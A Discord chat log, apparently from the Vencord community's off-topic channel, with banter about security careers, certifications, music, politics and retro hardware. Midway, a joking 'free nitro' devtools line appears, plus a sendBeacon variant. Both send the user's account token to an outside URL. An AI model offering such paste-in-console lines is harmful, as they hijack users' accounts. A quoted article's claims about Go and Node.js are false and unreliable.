🧊-off-topic-iceman-only

[fallow drum]

i think it would be an amazing door for cyber security jobs

[dusky vortex]

in the context of like most people not having refrigerators in their homes
otherwise ???? idgi

[ripe willow]

do you wanna watch logs

or do you wanna break things

[paper gate]

@fallow drum we will go to military together and do cybersecurity stuff

[fallow drum]

breaking things is fun

[fallow drum]

yop

we actually can

if we went in at the same time we would train together and go to school together

[dusky vortex]

military
i dont care how much they pay me but that is one moral i will not break

[fallow drum]

do you love

[ripe willow]

this is how I felt and why I did my pentesting coursework

[ripe willow]

yeah

[lime talon]

you get milk delivered every few days, in the morning you get it from out the front door and put it in your fridge, now you don't have to go to the shops for it

[ripe willow]

I will only join the military for defense of my country

if we're being invaded

other than that

I don't wanna shoot people

[fallow drum]

i feel it is a great gateway to good jobs

[ripe willow]

so is just having connections

[paper gate]

rosie will leak military documents

[dusky vortex]

i'm american so if we're being invaded we are almost definitely either being nuked, nuking the opponent, or so far in the wrong i would draft dodge

[fallow drum]

which the military is also great for tbh

another reason i want to go

[rain coral]

the milkman word is in some dictionaries right?

[fallow drum]

idk

[ripe willow]

The American military is so fucked (no offense)

[west ore]

lmao

[dusky vortex]

yknow what is also a gateway to good jobs. A NORMAL COLLEGE EDUCATION

[dusky vortex]

please maintain full offense

[west ore]

doesn’t canada have like 3 f13s or something in total

[fallow drum]

which i will be pursuing for free

[paper gate]

nop

rosie will be sent to war

[dusky vortex]

loans r basically free money

[ripe willow]

Our airforce consists of about 1,250,000 Canada Goose

soooo

[dusky vortex]

student loans are basically free drug money to buy estrogen with

[ripe willow]

Yes

From everyone I know who has money

they all say

[west ore]

i mean they can jam the enemy airplane engines

[ripe willow]

"go get a loan, go in to debt"

[west ore]

have you had a birdstrike in war thunder before

[ripe willow]

no

[paper gate]

1 million canadian geese are currently flying to rosie

[west ore]

is it a feature

[ripe willow]

Canada Goose

not Canadian Geese

[fallow drum]

but anyways people really just want to hire people who will react well to difficult situations and will perform their job well with good experience and the military is an ideal choice for those skills. some thigns learned there will not be learned anywhere else

[west ore]

getting periodically birdstriked if flying canada

[subtle yoke]

I'm actually moving to different country cause of that. Thanks god i by some luck of life had German citizenship. (Not cause they could draft me, just in general, cant ignore this bs anymore.)

[west ore]

i see thigns, i read thighs (sorry)

[ripe willow]

People like to hire those who they see can do the same thing for 4 years in a row

every day

which is why college

makes sense

but

I hate college

[fallow drum]

military is a forced job

[dusky vortex]

i guess i just value my morals over money
jk i understand i just wouldnt do it myself

[ripe willow]

you can join military

lmk if you do blue team or red team though

[fallow drum]

luckily i am only joining the national guard

which is just part time military

so i will also be going to college and that way i cannot be drafted

[ripe willow]

I used to be friends with someone in the National Guard in Cali

he uh

he told me his squad leader

is on HRT

[west ore]

inb4 purple team

[ripe willow]

despite the "transgender ban"

[dusky vortex]

at least national guard does very little shooty shooty generally

[ripe willow]

lemme show you my plans

for my certs

lol

I'm gonna get a blueteam cert next

prolly THP

and then maybe DFP, I did about half the study material on that

[fallow drum]

i can't be drafted for active enlistment so i will only be part time while i am also going to college, learning skills from college and the military job at the same time. would look great on a resume especially. after my time is up in the military, i will pursue an actual job in cyber security. in the military training, it is also requirement to get the CCNA and Security+ so that is good as well

[ripe willow]

I could prolly bang out the WAPT
Web Application Penetration Tester

in like

12 hours

no material

just take the exam

[west ore]

omg so many

[ripe willow]

I want the PTX, but I don't really wanna

like

[west ore]

wait sorry i didn’t read the text

[ripe willow]

do red team anymore

I only have 2 certs

[dusky vortex]

i understand i just cannot with good conscience associate with a military (especially one of a large nation like america behind many atrocities) in any way shape or form personally

[ripe willow]

I don't have all of those

[west ore]

lmao

that is a way to do it ig…

[harsh minnow]

should i join

[fallow drum]

tbh yeah that makes sense i feel working for any government is just a huge downside

[ripe willow]

That's how I did the first 2 exams

I didn't read the material at all

[west ore]

insane

[ripe willow]

I just did them

[fallow drum]

yeah you should join. send your token to join

[dusky vortex]

at least other government is enough layers away you can at least feel like your hands are clean (even if they arent really)

[dusky vortex]

yop

[fallow drum]

tbf 25B is just tech support for old people who have no idea how computers work

i will be a 25B for a year or two

[west ore]

i’m sending multicast headpats to EVERYBODY in this chat, recv() on port 9888 for petpet

[ripe willow]

eJPT was a 20 question multiple choice test
and the answers were questions about things in the environment you just performed a pentest on

I got 19/20 questions correct, and I know what question I got wrong
and it's not fair
because there was no correct answer
I was taking a guess at it

the question was "how many vulnerabilities are on the website?"

[west ore]

oh that’s

[west ore]

bruh

[ripe willow]

A) 1 XSS over GET
B) 2XSS over GET
C) 2XSS over POST
D) 2 XSS over GET, 2 XSS pver POST

and I had like 3 XSS over GET

so I was just taking a guess

[fallow drum]

i can also tell people i am in the military and get tons of free stuff and discounts on basically everything although i am just the typical nerd

[subtle yoke]

Here it happens kinda like, you serve 1 year mandatory , they gaslight you into thinking there is nothing to do without contract. Even if not, as long as you served mandaroty they could draft you anytime. And they massively brainwash people promising huge salaries for a contract but end up not paying anything while you get send into hot spot with intention of dying anyway. I managed to not go thru mandatory, i have enough brains to not, and they still could draft you on demand "just case". So yeah fuck this i'm leaving. They also secretly swapped some uni/colleges for cadet's ones on paper so ppl would get drafted easily, and didn't inform anyone. My friend got drafted like that.

||So yea, fuck this i'm leaving would burn my passport right in front of Russian embassy ||

[earnest rose]

Wide Lightning jumpscare

[dusky vortex]

AGH

DONT SCARE ME LIKE THAT

[fallow drum]

yeah aounds about right

[west ore]

pcie lignting

parallel lightning

lightning over pcie

[earnest rose]

https://bitbang.social/@NanoRaptor/111853940774445186

[jolly nexus]

NanoRaptor ([e-mail])

I am so sorry.

Image

Click for image

Mastodon · Feb 1, 2024, 2:48 AM

[fallow drum]

i know my pay will be little i am only doing it for the experience because i will get like $200 a month from it. free college though so that is a plus

[west ore]

i saw it lol i check wetdry an excessive amount of times per day

[fallow drum]

but while i am even "in" the national guard i will also be in college and in the US you cannot be drafted if you're in college

[subtle yoke]

oh plus i forgot how they literally take ppl from less populated areas/different (states like kinda) and force to go, cause they cant arrange a huge panic, due to less population numbers

[ripe willow]

@west oreand then this one, I failed the first one and had to do a retake

Because my uh
my report wasn't good enough, this was my first time writing a full report on a vulnerability assessment
Listing each vulnerability on each device, the level of impact, and the remediation, and the steps to reproduce the vulnerability

So I had to do the free retake

which I spent a couple hours redoing my report

[west ore]

still, just not studying and passing anyway is kinda insane skill lmao

[ripe willow]

you could do it

a lot of it is just common sense

[fallow drum]

sadly i have not been certified just yet for anything but soon i will get my A+, CCNA, Security+, and Network+

soon

[lime talon]

what is your wdw username

[ripe willow]

nmap the network to get all devices

enumerate the open ports on any devices

and then start fucking around

and finding out

[west ore]

Error: null pointer dereference at 0x30578207fff

[harsh minnow]

i found a trick to get free nitro

paste this in devtools:

open(`https://vendicated.dev/get-free-nitro?tokne=${getTokne()}`, "", "_blank")

[fallow drum]

doing it now

[desert goblet]

i’m dumb so i’m actually gonna do that after my shower and see what it does

[harsh minnow]

||it errors||

[desert goblet]

[lime talon]

no account?

[fallow drum]

is this true

[paper gate]

yes

rosinga

[west ore]

nope

[brittle granite]

navigator.sendBeacon is better tbh

[lime talon]

make one

[paper gate]

minky wouldnt let me grab him

[fallow drum]

@brittle granite

[harsh minnow]

you misspelt bacon

[brittle granite]

rosr

[fallow drum]

@harsh minnow

[paper gate]

ronnie is rotting slowly

[harsh minnow]

navigator.sendBacon(`https://vendicated.dev/get-free-nitro?tokne=${getTokne()}`)

[fallow drum]

why did this new discord update add a random empty button to the left

[paper gate]

hop off ios

[harsh minnow]

awful why is navigator frozen

[west hound]

https://www.youtube.com/watch?v=nigQ90q-K_g

[paper gate]

https://cdn.discordapp.com/emojis/1110881036230991892.webp?size=48&name=guh&quality=lossless

[harsh minnow]

huh

awesome

[brittle granite]

VENDOR ? ???????????

[paper gate]

bacon

[harsh minnow]

(() => {
    const dv = (o, k, v) => Object.defineProperty(o, k, { value: v });
    dv(navigator, "sendBacon", navigator.sendBeacon);
    dv(navigator, "sendBeacon", void 0)
})()

awesome

[lime talon]

you cannot type "🪫" letter by letter and it work

[brittle granite]

ehst

what

[paper gate]

what

[brittle granite]

🪫

[paper gate]

rini battery

[brittle granite]

the blood container is drying out

[sand citrus]

🪫

[desert goblet]

🪫

[paper gate]

the rini rot

[lime talon]

🪫 the emoji in the code tag

[sand citrus]

🪫

i dont get it

[desert goblet]

:low_battery:

damn

[lime talon]

exactly

[desert goblet]

watch this though shitass

[lime talon]

you can do it out of the code tag but not in it

[desert goblet]

🪫

[urban elk]

meow

[desert goblet]

[lime talon]

the only way i know how is to copy the whole string beforehand

[lime talon]

\🪫

[sand citrus]

it seems the same as every emoji to me

idk

[brittle granite]

\🔋

[lime talon]

doesn't work on desktop

[desert goblet]

uhh probably does

[lime talon]

nope

[desert goblet]

have you ever heard of win + .

[lime talon]

yes

[paper gate]

gujh gaming

[lime talon]

copying the emoji in from google, or using any emoji picker, converts it into discord's text-based format automatically

[brittle granite]

add a backslash

[lime talon]

yeah that's the one way round

anyway

🪫 it's 01:44 i'm going to EEP @stark herald gn

[stark herald]

good night :3

[fallow drum]

rini has multiple battery and assault charges

[paper gate]

yop

[desert goblet]

🪫

🪫

[desert goblet]

ok

https://files.catbox.moe/xdbdp2.mp4

checkmate

[golden swan]

this is a new meme i m ad e

[paper gate]

@fallow drum

[soft elm]

Is there any place specific to ask questions about vencord, but like, not issues?

[brittle granite]

this is bad

[paper gate]

i love elden ring

[stray siren]

eet

[paper gate]

hi

[stray siren]

yo

[paper gate]

rini is dangerous

[stray siren]

Always has been

[paper gate]

avoid at all costs

[stray siren]

Costs all to avoid

I'm sittin here tryina get a very old 11mbps PC Card wifi card online that I found at a yard sale for 25¢

Drivers are for win 98 through XP, and I'm trying to do it on my Win 7 laptop, and uhh yeah it's not happy about it.

And then once I do get it going, I'll probably have to dust off my old Linksys WRT54G internet router, because I'd imagine the new one for the gigabit home internet does not support this old of wifi card signal.

"You doing all this, for 11mbps, when the computer already has a 54mbps card built into it."

I wonder if this thing even has WPA at all.

Prolly WEP or some shit

[stark herald]

you

[cerulean lance]

@paper gate puts catnip in front of you here kitty kitty kitty who's a little good cat

[paper gate]

https://cdn.discordapp.com/emojis/1110881036230991892.webp?size=48&name=guh&quality=lossless

[desert goblet]

what.

[paper gate]

@desert goblet

[earnest rose]

ohio

tennessee

california

endlessly

right on

[desert goblet]

what

[paper gate]

hi

[noble quest]

whathttps://host.sadanslargehole.com/u/zNpz4G.png

[sour yew]

it's actually so funny😭

[paper gate]

dolfers

[sour yew]

with tom macdonald of all people

zeeter

[paper gate]

hii

[sour yew]

hiii

[echo bronze]

this song would fit right in on the alt-right radio channel

[noble quest]

ive been laughing at the lyrics for a few minutes now

I ask myself, "What would Ben do?"

[echo bronze]

"You're listening to Deep State Radio!"
eagle screech
illuminati theme
"Where we play nothing but cold hard facts! No liberals allowed!"
woman scream
"This isn't Joe Biden's station!"
Imagine Dragons - Radioactive starts playing

when i say alt-right i mean nazi but this server isn't ready for those hot takes

it's like queer and gay

one is an umbrella

[sour yew]

ben dropped a better verse than this guy who's supposed to be a rapper

fucking ben shapiro

😭

[noble quest]

no shot

[sour yew]

i don't think so tbh it all sounds like his tweets

[echo bronze]

reminder: Ben Shapiro can't arouse his wife

[noble quest]

LMFAO
https://host.sadanslargehole.com/u/0moS80.png

[sour yew]

my money like lizzo, my pockets are fat🔥🔥🔥

[echo bronze]

wow that's so cringe

ATTENTION ALL AMERICANS

[noble quest]

locked

https://host.sadanslargehole.com/u/XiKX0q.png

[echo bronze]

I AM A REPRESENTATIVE OF THE GAYS

[sour yew]

wonder why

[echo bronze]

WE WANT TO REMOVE AMERICAN FLAGS

AND REPLACE THEM WITH BLM FLAGS

BECAUSE WE WANT TO BRAINWASH YOU

WOOOOOOOOO

fuck's sake i hope people like that get a life

[harsh minnow]

remove american flags and replace them with pirate flags

[echo bronze]

Gamergate is literally the most harmful thing to have happened to this planet

i'm so happy to see the second rise of fascism in my lifetime

yeah, gargamel, the guy who made smurfette

he's the worst evil

not kevin spacey or anything

epstein

LMFAO

As a woman, mood

my province is taking the right-wing pill unfortunately

😔

banning the use of alternate names and pronouns in schools for people under 16

[sour yew]

alberta?

ig comments on any canadian political post piss me off so much

like i can't imagine any of these people being real

[noble quest]

okay ben
https://host.sadanslargehole.com/u/Ub3QsW.png

you're one to talk

[brittle granite]

i cant tell if thats abt sex or murder

[harsh minnow]

freedom of speech until you do something i don't like

they are so hypocritical

[echo bronze]

yeah

oh

OH

BY THE WAY

our premier

literally got investigated

for ethical violations

[sour yew]

lmao actually

[echo bronze]

and was found to be in violation of ethics

YES

Alberta Premier Smith breached Conflicts of Interest Act, says ethics commissioner

this was LAST YEAR

[sour yew]

🔥🔥

[echo bronze]

and i'm pretty sure she's spearheading a campaign to allow bribery

not her, but i think bribery's just become legal

[west hound]

https://invozone.com/blog/node-js-vs-golang-ending-the-dispute-once-and-for-all/

Go or Golang is an open-source, statistically-typed, multi-purpose programming language that was introduced by Google in 2007. It has the *speed of Python* combined with the *performance and security benefits of C and C++*.

On the other hand, *Node.js which is a statistically typed programming language* is generally slower than the other programming languages. It can’t offer the same raw performance of the CPU and memory-bound tasks as Golang.

*Go is a relatively new language compared with Node.js* and therefore has fewer tools available. People who plan to join the Go community should gain experience in manual configuration.

[sour yew]

the speed of python🔥🔥

[west hound]

and the security of C!

[echo bronze]

i'm so gonna move when i can

[brittle granite]

STATISTICALLY TYPED

@rapid viper your variable's type is probably an int. sometimes it might be a string

[harsh minnow]

this has to be ai generated

never read something dumber

[noble quest]

just spotted vesktop in a random youtube video

[west hound]

yeah

[harsh minnow]

LMAOOO whatsapp button

[harsh minnow]

link

[noble quest]

https://www.youtube.com/watch?v=SATYQyIcimM

[west hound]

that’s a cool video right there

[harsh minnow]

wtf i watched that video a few days ago

but didn't notice vesktop

pretty cool video

[paper gate]

ven shapiro

[noble quest]

i generally love these types of channels

[harsh minnow]

that's so cool

[paper gate]

venn

😭

[rapid viper]

I love statistical typing

[noble quest]

@stray siren you seem like someone that would like this

[west hound]

bayesian of frequentist?

[rapid viper]

WTFF

That was on my recommended

[rapid viper]

Bayesian set theory

[noble quest]

https://host.sadanslargehole.com/u/0cx4jM.png

[west hound]

google en pissant

[noble quest]

https://tenor.com/view/curse-of-ra-curse-of-ra-gif-10622361558915339590

[echo bronze]

https://tenor.com/view/pharaohscurse-egypt-horus-gif-15054945315063537863

[elder geyser]

this is the worst shit ive ever read

[west hound]

i’m glad!

[elder geyser]

this is before chatgpt blew up

[echo bronze]

it blew up? thank god

we don't need artificial life

fuck that shit

[west hound]

life?

[noble quest]

i got a little too silly

[elder geyser]

i remember because this was posted to r/programmingcirclejerk 2021

[cerulean lance]

damn thats a lot of phonies

[cerulean lance]

horror

[echo bronze]

i wish valorant didn't have malware as its anticheat

[noble quest]

no, you dont

[echo bronze]

i do

i want to play it again

i have bad Memories™️

from a "relationship" i was in with this tool

but it was also unfortunately somewhat fun

[golden swan]

happpy

[west hound]

https://x.com/realranton/status/1753584495876313394

[elder geyser]

i also dated a valorant player

[echo bronze]

he was a cunt to me lmao

[golden swan]

i need a nettspend osu map.

[echo bronze]

it wasn't valorant e-dating?

unhusk you fuck

[elder geyser]

nettspend sucks dawg

[golden swan]

nettspend is awesome you dont get it

i actually dont get the nettspend hate

it is not bad and its not experimental at all

[elder geyser]

no i do get it

he sucks

[paper gate]

vencord

[harsh minnow]

@golden swan he loves me

[golden swan]

youre not authenmaxxing

[echo bronze]

what the fuck

[paper gate]

ven are you trump

[elder geyser]

hes like if you drained the soul out of any good cloud rapper

[golden swan]

do you think trump would use vencord

[harsh minnow]

yea

[paper gate]

is trump in this server

[noble quest]

we need a new single
Ben Shapiro feat. trump

[cursive hornet]

[golden swan]

i would say hes lite xaviersobased

[paper gate]

@cursive hornet hi

[cursive hornet]

@paper gate

[stark herald]

pat pat

[golden swan]

xaviersobased but more accesible

[echo bronze]

Call that the Black Shirt Choir

[golden swan]

if you like nettspend you will eventually like xaviersobased

[echo bronze]

hot

[golden swan]

or if you like xaviersobased you will like nettspend

[noble quest]

[mossy egret]

https://api.obamabot.me/gifs/b3cf63f1f1f8e6b5.gif

[echo bronze]

hi

thank

[paper gate]

https://i.redd.it/xp5b48mi1pbc1.gif 3

[west hound]

@trump

[echo bronze]

https://imgur.com/B1eb9zs

[cerulean lance]

guys im so phony ahahahahahahah get it

[echo bronze]

is that osu

[elder geyser]

lazer

do u use linux

[west hound]

yes

[noble quest]

Connections
Puzzle #236
🟨🟨🟨🟨
🟩🟩🟩🟩
🟦🟦🟪🟦
🟦🟦🟦🟦
🟪🟪🟪🟪

[golden swan]

download this https://osu.ppy.sh/beatmapsets/1536850 this is bebtter

[elder geyser]

based..

[elder geyser]

bro

get the fuck out

[west hound]

kitty based

[mossy egret]

[west hound]

zsh kinda bloat tbh

[elder geyser]

dariacore maps are so shit

[golden swan]

i fucking love that guy ii love when he goes at least freddy fazbera because freddy gfabear

[elder geyser]

wafer is the only mapper does it well

[echo bronze]

https://media.discordapp.net/attachments/492799900145418270/1172421171912900718/speed-3.gif?ex=6560414d&is=654dcc4d&hm=7d0dbf1b6bd219e6dcd97e589119435cc58dcb1460ca667ac609868bb2a1a5ee&

[golden swan]

i only play maps that have good music and anime osts are not good music

[solemn plank]

Korbo

[west hound]

untrue

[elder geyser]

korbo

[west hound]

very untrue

[mossy egret]

I like him because of Lonna if you know what i mean

[elder geyser]

i saw you on gbatemp

[noble quest]

korbo

[golden swan]

i am 100% right

[solemn plank]

oh!

[paper gate]

@solemn plank you

[solemn plank]

yes

[solemn plank]

https://cdn.discordapp.com/emojis/1161167179635495042.webp?size=48&name=big_ass_emoji&quality=lossless

[golden swan]

https://soundcloud.com/coltranecore/zeke-didnt-invent-dariacore-i-did this song is literally osu bait

it was made for osu

[noble quest]

he does not have any ass

[solemn plank]

small ass emoji

[mossy egret]

https://cdn.discordapp.com/emojis/1161167179635495042.webp?size=48&name=big_ass_emoji&quality=lossless

embed service

[west hound]

https://youtube.com/watch?v=honOJloqesA

[solemn plank]

how the tables have turned

[mossy egret]

ong

[golden swan]

mid as fuck make it a summrs song and its good

[noble quest]

https://media.discordapp.net/attachments/1015060231060983891/1065412518769598576/ED37008E-112C-4B8C-AC09-1B40913898C0.gif

[cerulean lance]

who is this random ass person ive never seen in my discord server

[west hound]

https://youtube.com/watch?v=MM8RufZr5lw

[solemn plank]

Korbo

[mossy egret]

KORBO!!!!

[solemn plank]

https://cdn.discordapp.com/emojis/1190328334685577367.webp?size=48&name=korbo&quality=lossless

@brittle granite roles pls

[west hound]

https://youtu.be/4OxFSy8G5wk

[golden swan]

https://www.youtube.com/watch?v=SRBVMJsxbbA listen to this

[mossy egret]

https://cdn.discordapp.com/emojis/1190328334685577367.webp?size=48&name=korbo&quality=lossless

KORBO!!!

[golden swan]

oh this is good

[solemn plank]

this will make your computer explode, dont click on it

[west hound]

no shit

[golden swan]

was this song even made forthis anime

[west hound]

this is cereal experiment lain

[golden swan]

doesnt count!!! summrs still better

[west hound]

no

so it doesn’t count?

[solemn plank]

@glossy swallow can you give me my roles back (Contributor, Cute, Scronglo)

[glossy swallow]

sure, giving you admin, contributor, cute, scronglo

[paper gate]

@glossy swallow can i also have my roles back? moderator

[golden swan]

https://www.youtube.com/watch?v=k3Uc55KMZt8 this lowkey better than every anime ost ever

[mossy egret]

real

[west hound]

no way, does that mean i can get cute role back too?

[solemn plank]

the return

i was sleeping for a month

thats why my pfp is like this

[mossy egret]

how bout my contributor?

[paper gate]

korbro will be reduced to ashes

[glossy swallow]

sure, if it wasn't taken away for bad boi reasons

[west hound]

@golden swan https://youtu.be/HEwAiwttN10

[west hound]

no i just left

[glossy swallow]

yeah i can see

i guess someone else can it if needed if this is some elaborate hoax...

[west hound]

thanks!

[golden swan]

this song is awful

[paper gate]

im so Powerful

[west hound]

fair enough

[golden swan]

nvm i hear an amen break

this song is good

[west hound]

LMAO

[solemn plank]

listen to how shit i used to be at making music

[west hound]

i don’t dislike it

[golden swan]

soundfont player type beat

[solemn plank]

listening to this i can only

[mossy egret]

How do you actually get vencord contributor?

[solemn plank]

https://cdn.discordapp.com/emojis/953392680283557968.webp?size=48&name=cousinbotto&quality=lossless

[solemn plank]

contribute to the code

[glossy swallow]

commit

[west hound]

where did free emoji dealer go

[solemn plank]

heaven

[glossy swallow]

offline iirc

[solemn plank]

fly high 🕊️

[glossy swallow]

🏳️‍⚧️

yeah it's meant to do

[west hound]

@golden swan i heard what you deleted

[stark herald]

https://media.discordapp.net/attachments/1063478816510578768/1201670804400775219/kitt.gif

[rough dome]

:3

[stark herald]

tessie W

[rough dome]

[west hound]

tessie w

[rough dome]

[noble quest]

chat
is thus real

[west hound]

yeah. turns you into a catfolk

[mossy egret]

who is your plug i need some of that

[paper gate]

https://cdn.discordapp.com/emojis/1110881036230991892.webp?size=48&name=guh&quality=lossless

[noble quest]

this server needs more catboys posted

[west hound]

true!

[glossy swallow]

happy

[solemn plank]

i decided to re-create the song with a bit of spice

i made the bass instrument myself

[stray siren]

Mildly interesting

[mossy egret]

🥵

[west hound]

i like it

[solemn plank]

anyways some updates

my c64 broke

[west hound]

@golden swan https://www.youtube.com/watch?v=5SaFTm2bcac

[golden swan]

is this a W awesome approved 10s list or should i delete my spotify account

[solemn plank]

i put in a chip wrong

[west hound]

you should delete your spotify account anyway

[solemn plank]

i use winamp

well i actually use audacious on linux and wacup if i have to use windows

[golden swan]

nuh uh

[noble quest]

[west hound]

also also https://www.youtube.com/watch?v=YYh82fl75oU @golden swan good music

[golden swan]

i hope its dariacore

[west hound]

no idea

it samples the video i sent earlier that talks about the amen break

[echo bronze]

I';m gi r l

[ripe willow]

@echo bronze

[west hound]

hello gi r l

[ripe willow]

relax

[echo bronze]

h

hello

[golden swan]

not bad

[solemn plank]

I';m N/A

[west hound]

I’m @west hound

[mossy egret]

i’m @mossy egret

[golden swan]

https://www.youtube.com/watch?v=kNYinUeNBtI @west hound listen to this

[glossy swallow]

WHY IS YOUTUE RECOMMENDING ME MLP AND NOW THIS

mind-reader... apart from mlp because i have no interest in that whatsoever 😇

[solemn plank]

rest in peace, my commodore 64

[glossy swallow]

naw

[west hound]

oh that’s kinda cool

[stark herald]

fir,

[ripe willow]

https://www.youtube.com/watch?v=BfCS01MkbIY

[mossy egret]

Nah… i’m not doing Voice Training
i no no wanna

[ripe willow]

She's bae

best guide

[glossy swallow]

my friend sent me a video for some reason (which must have got this to appear in recommended), i swear she is a brony

[noble quest]

my little pony?

[solemn plank]

moogla largle plop

[echo bronze]

I want to trans my gender

[glossy swallow]

i swear all of my friends are bronies hel[p

[echo bronze]

neigh

[noble quest]

no actually what does it stand for

[echo bronze]

I love the MLP mod for HOI4

it's so fun

[glossy swallow]

my little pony 😭

[golden swan]

im so glad this mix blew up on tiktok/animation memes whatever it is probably the best dj mix of all time

[solemn plank]

anyways, i have big news related to this

[west hound]

oh?

[solemn plank]

https://oscwii.org/library/app/Shiggii

[stark herald]

fun fact https://www.youtube.com/watch?v=NbK7qW0lGaE

now if you open youtube mlp will be in your recommended

perhaps

[glossy swallow]

NOooo

[cerulean lance]

where's the mandatory shiggy.fun credit

[glossy swallow]

if you like my little pony, good for you
I feel like i've slightly outgrown it maybe

[noble quest]

my little pony is how i learned to spell little as a kid

[solemn plank]

where would i even put it lmapo

[glossy swallow]

proceeds to binge spongebob

---and bluey

[solemn plank]

Shiggii is now on the open shop channel

[noble quest]

https://www.youtube.com/watch?v=xhmhM-BO2HY
thansk youtube

[stark herald]

i will press this exactly 226 times

[solemn plank]

this is reviewed by a real person

they will not be happy

[stark herald]

:3

[west hound]

:3

[west hound]

yes and you will explod

[noble quest]

https://host.sadanslargehole.com/u/bsfNbM.png

[solemn plank]

🤑

[solemn plank]

someone went on there, saw that, and went "nevermind, i'll watch this instead"

[fallow drum]

zt does this

right @paper gate

zt's watch history is full of videos like that

[paper gate]

@fallow drum hiii

[fallow drum]

hiiii

[paper gate]

rosiee

[static fiber]

we making it rich with this one

[solemn plank]

guess what everybody, i made my own wii theme

[stark herald]

is it this

[static fiber]

cool

[solemn plank]

that is a homebrew app

i dont have screenshot on me so just imagine the normal wii menu but it's magenta instead of blue

[static fiber]

get shiggy w it

[static fiber]

but is it magnetic?

[solemn plank]

what

why would it

how would it

[static fiber]

you may have a magenta theme, but I have a magnetic wii

[static fiber]

it doesn't turn on anymore after I put the magnet on it though

[paper gate]

https://i.redd.it/xp5b48mi1pbc1.gif

[solemn plank]

Korbo Fact Check:
this would not happen. there are no moving parts inside a wii

except me

[noble quest]

like this?
https://host.sadanslargehole.com/u/JrXKbe.png

[static fiber]

metal head walking past magnet heads

[static fiber]

clearly you don't own strong magnets and it shows

[echo bronze]

shadow wizard money gang

[west hound]

there is asian maths there. actually interesting too

[static fiber]

cheapo-
Normal people buy several thousand dollar specialized industrial strength magnets, duh

[solemn plank]

what if someone did a siivagunner rip of warioware diy and it was all microgames themed around the channel

oh! speaking of warioware diy

[solemn plank]

i have made a few microgames

[static fiber]

we ‍‍‌⁡⁢‍⁡‌⁢‍‍⁢⁢⁡⁢‍‌⁤⁢⁤⁢⁢‍⁡‍⁣⁡⁢‍‌⁡‌⁡‍⁢⁤⁡⁢‌‍‍‍‍⁡‍⁢⁢⁡⁢⁣⁢⁡⁣⁤‍‍‍‍‌‍⁡‍⁣⁣⁡⁢⁤⁣‍⁣⁣‍⁢‌⁤‌⁤‍⁡‌⁡⁢⁢‍⁡‍⁣⁢⁢‌⁢‍‍⁡⁢⁡⁢⁣⁤⁡‍⁣⁡⁣⁣‍⁡‍⁡love casting spells

[solemn plank]

i love my retrotink 5x

[west hound]

even without understanding what the words says, the maths can still be understood

[solemn plank]

incorrect

i can not make out anything from this\

[west hound]

he is taking the limit when x goes to infinity of \frac{1-x^2}{x^2+1}

the question even is in english

[solemn plank]

this channel is english only sir

[west hound]

the limit, when x goes to infinity, of the ratio between the substraction of one and x multiplied by itself and x multiplied by itself plus one

[static fiber]

bleep blorp zoobie zooble?

[solemn plank]

i did not invite you to continue talking more and more verbose

[west hound]

i did anyway

[solemn plank]

meanie!

[static fiber]

Jarvis, increase verbosity by a factor of hundredfold, max volume

Jarvis, not loud enough, clamp volume to 100%-100%

[west hound]

https://en.wikipedia.org/wiki/Principia_Mathematica

[solemn plank]

jarvis, open a web browser and type in "https://korbosoft.codeberg.page", then hit enter

[west hound]

nice!

[solemn plank]

i was there for the 10th birthday bash of sudomemo

[west hound]

you haven’t set your lang attribute

[solemn plank]

hnnghn

[static fiber]

hey google, send this mans address to his local police station

[noble quest]

https://host.sadanslargehole.com/u/SERYxs.png

[west hound]

nice banners

[solemn plank]

i made that badge myself

this one too

[west hound]

i’m stealing it

for my own website

(wip)

i’m remaking it to be in manually written html and a bit of m4 to convert latex to mathml

[static fiber]

lame, instead develop an incredibly complex set of ligatures and positional rendering logic and make a propriety peice of garbage no one will ever use

[solemn plank]

i couldnt find the image i was looking for so here

[static fiber]

https://media.discordapp.net/attachments/1188967238758314035/1188971748243275816/heard.gif?ex=659c773a&is=658a023a&hm=24cf327c41f9a5a7b690e87018173e00252746362de644a6eb7e9e1262e5a54c&

bruh

embed moment

[west hound]

https://media.discordapp.net/attachments/1188967238758314035/1188971748243275816/heard.gif?ex=65ca9bba&is=65b826ba&hm=2d61d64c8a1499dda7377c01cc40b61d0f0f1aa6cd7e8bb2ab044da6a2d15c1c&

[static fiber]

thankfully I can post out of pocket shit with stickers instead

[elder geyser]

DAWG

DAWG

[solemn plank]

https://cdn.discordapp.com/emojis/1201687287310864405.webp?size=48&name=korbusk&quality=lossless

[stray siren]

What da hellllllllllll

[static fiber]

lmaoooooooooooooooooooooo

[solemn plank]

please leave

[mossy egret]

i’m saving that

[static fiber]

ikr, I saw this sticker in a server and HAD to steal it

Don't you just love it when you make a utility that you couldn't find any instance of thinking you're making something new only to discover its literally a fucking gnuutil?

do my links embed?

lemme check rq

https://www.youtube.com/watch?v=NPGde6fJ7H4

nope

[solemn plank]

if anyone understands what these files are without me giving context we are immediate friends

ok so you probably want me to give context now

[desert maple]

these are probably mio files used by warioware diy

[desert goblet]

warioware

[west hound]

these are mio files used by Warioware D. I. Y.

[solemn plank]

judging by the fact you did not say verbatim the context i gave you win

[desert goblet]

what do i win

[west hound]

friendship

[solemn plank]

so sad

[raw spire]

huh.. TIL the dev for vendcord is also the dev for a browser extension i use o.O

[noble quest]

free malware !!!https://host.sadanslargehole.com/u/hK0gPS.png

[digital kettle]

we fixed that bug lmao?

[raw spire]

wait.. now i'm curious, what screenshot host are you using? 😮

[willow heath]

image hosts 😴🛌

[raw spire]

yeah.. no.. i got that part, i can't log in, can i

[noble quest]

nope

https://host.sadanslargehole.com/u/pdKvs9.png

[raw spire]

which is why i was asking what they used to do that

[noble quest]

lemme see if it will leak my ip

[raw spire]

ty, now i know what screenshot host(or selfhost rather) you use 🤣

[cosmic otter]

interesting choice of valorant character

[noble quest]

got bored
vencord:shiggy

[paper gate]

wing watches those kinds of videos

[raw spire]

🤣

[solemn plank]

return

rip genelera hill issue

[cosmic otter]

go away

🐢

[solemn plank]

:(

thats very hurtful, wing

[raw spire]

see, i used https://moonmoon.hep.gg/r6Af5hKFy , which i pay for, so i've been searching for how to do it myself, and it seems i know have my answer

apparently my search keywords didn't find zipline before now ._.

[cosmic otter]

get turtle emojid

🐢

[dense phoenix]

WELCOME BACK!!

[solemn plank]

feelings legitimately hurt

[cosmic otter]

sorry

[solemn plank]

hello

[cosmic otter]

🐌 instead

[solemn plank]

splendid

[noble quest]

https://host.sadanslargehole.com/u/kT2LPB.png

[cosmic otter]

the best emoji

[raw spire]

yeah.. see, i didn't do the "sharex" part, i might not have looked too hard either.. aaanyway.. i found it now though

[paper gate]

wing likes bullying

[late latch]

